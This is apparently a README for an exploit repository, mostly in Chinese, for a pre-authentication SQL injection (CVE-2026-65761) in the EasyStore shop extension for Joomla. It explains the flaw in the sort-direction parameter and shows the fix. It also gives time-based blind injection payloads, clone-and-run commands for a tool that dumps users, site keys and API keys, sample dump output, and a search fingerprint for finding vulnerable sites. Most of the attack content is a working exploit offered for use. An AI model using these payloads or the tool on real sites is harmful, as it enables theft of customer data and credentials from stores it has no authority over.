
EasyStore Joomla Pre-Auth SQL Injection via filter_sortby Direction (CVE-2026-65761, CVSS 9.3)
CVE-2026-65761(CVSS 9.3 严重)是 JoomShaper 开发的 EasyStore for Joomla 中存在的一个无需认证的 SQL 注入漏洞,影响版本 ≤ 2.0.1。
产品列表参数 filter_sortby 会被拆分为列名和方向两部分。虽然列名通过白名单验证,但方向被直接拼接到 SQL 的 ORDER BY 子句中,未对 ASC/DESC 做任何限制——允许匿名访客执行任意 SQL 注入。
未经认证的攻击者可以读取整个 Joomla 数据库:用户账户、密码哈希、会话数据、站点密钥、API 密钥以及所有客户 PII(姓名、邮箱、地址、电话号码、购买历史)。
FilterHelper.php:741 返回排序方向时未进行 ASC/DESC 白名单检查:
// 存在漏洞 (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
// ^^^^^^^^^ 无验证 — 仅大写后直接使用
ProductsModel.php:932 将方向直接拼接到 SQL 中:
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
// ^^^^^^^^^ 原始 SQL 拼接
同属一个系列的品牌和集合列表已经具备正确的方向白名单,而产品列表却没有。
// 修复后 — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 白名单检查
// 修复后 — ProductsModel.php:918-920 (添加第二重验证)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
$direction = 'DESC';
}
1. 攻击者构造: filter_sortby=price-ASC,(SELECT SLEEP(5))
└─ 拆分为: column=price, direction=ASC,(SELECT SLEEP(5))
2. 列名 "price" 通过白名单验证 ✅
└─ ['ordering','featured','best_selling','title','price','created']
3. 方向 "ASC,(SELECT SLEEP(5))" 通过 strtoupper()
└─ 在受影响版本中无 ASC/DESC 验证
4. 构造 SQL:
ORDER BY min_price ASC,(SELECT SLEEP(5))
└─ 时间盲注确认: 5秒延迟
5. 攻击者通过盲注提取整个数据库
| 要求 | 说明 |
|---|---|
| EasyStore ≤ 2.0.1 | 安装了受影响版本 |
| 可访问产品列表页面 | index.php?option=com_easystore&view=products |
| 无需认证 | 可匿名操作 |
| MySQL/MariaDB | 通过 SLEEP() 进行时间盲注 |
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# 无需依赖 — 仅需 Python 标准库
# 检查漏洞(非破坏性)
python3 cve_2026_65761.py --url https://target.com --check
# 导出 Joomla 用户(用户名、邮箱、姓名)
python3 cve_2026_65761.py --url https://target.com --dump-users
# 完全导出(用户 + 站点密钥 + EasyStore 配置 + API 密钥)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
+=================================================================+
| CVE-2026-65761 — EasyStore Joomla 预认证 SQLi 利用工具 |
+=================================================================+
目标 : https://shop.target.com
插件 : EasyStore ≤ 2.0.1 | 载荷: filter_sortby=col-ASC,INJECTION
[步骤 1] 验证 SQL 注入(时间盲注)
[*] SLEEP(5) 延迟: 5.2s
[+] SQLi 已确认 (5.2s)
[步骤 2] 数据库指纹
[版本] 10.11.14-MariaDB
[数据库] joomla_db
[用户] joomla_user@localhost
[前缀] jos_
[+] 版本 : 10.11.14-MariaDB
[+] 数据库: joomla_db
[+] 用户 : joomla_user@localhost
[+] 前缀 : jos_
[步骤 3] 导出用户
[+] 用户数: 15
用户名 邮箱 姓名
───────────────────── ─────────────────────────────── ──────────
admin [email protected] 超级管理员
manager [email protected] 商店管理员
[步骤 4] 导出敏感配置
[密钥] abc123def456...
[EasyStore] {"paypal_email":"[email protected]"...
[+] 密钥: abc123def456...
[+] EasyStore: {"paypal_email":"[email protected]"...
[+] paypal_email: [email protected]
请求次数: 1847
| 文件 | 行号 | 问题 |
|---|---|---|
site/src/Helper/FilterHelper.php | 741 | 返回方向时未进行白名单检查 — 仅执行 strtoupper() |
filter_sortby = <列名>-<方向>
有效列名(通过白名单):
ordering, featured, best_selling, title, price, created
方向(无验证):
经 strtoupper() 后直接注入
→ ASC,(SELECT SLEEP(5))
→ ASC,(SELECT IF((条件),SLEEP(2),0))
| CVE | 类型 | CVSS |
|---|---|---|
| CVE-2026-65759 | 订单伪造/支付操纵 | 8.7 |
| CVE-2026-65760 | 发票 IDOR(跨客户数据泄露) | 9.2 |
| CVE-2026-65761 | SQL 注入(本利用) | 9.3 |
body="com_easystore" && body="filter_sortby"
仅限授权安全测试和教育研究使用。作者不对滥用行为承担任何责任。
| CVE | CVE-2026-65761 |
| CVSS | 9.3 严重 |
| 受影响 | EasyStore ≤ 2.0.1 |
| 修复版本 | EasyStore 2.0.2 |
| 类型 | SQL 注入 (CWE-89) |
| 认证 | 无需认证 |
| 发现者 | Phil Taylor (mySites.guru) — 2026年7月 |
site/src/Model/ProductsModel.php | 932 | 将 $direction 直接拼接到 ORDER BY 子句中 |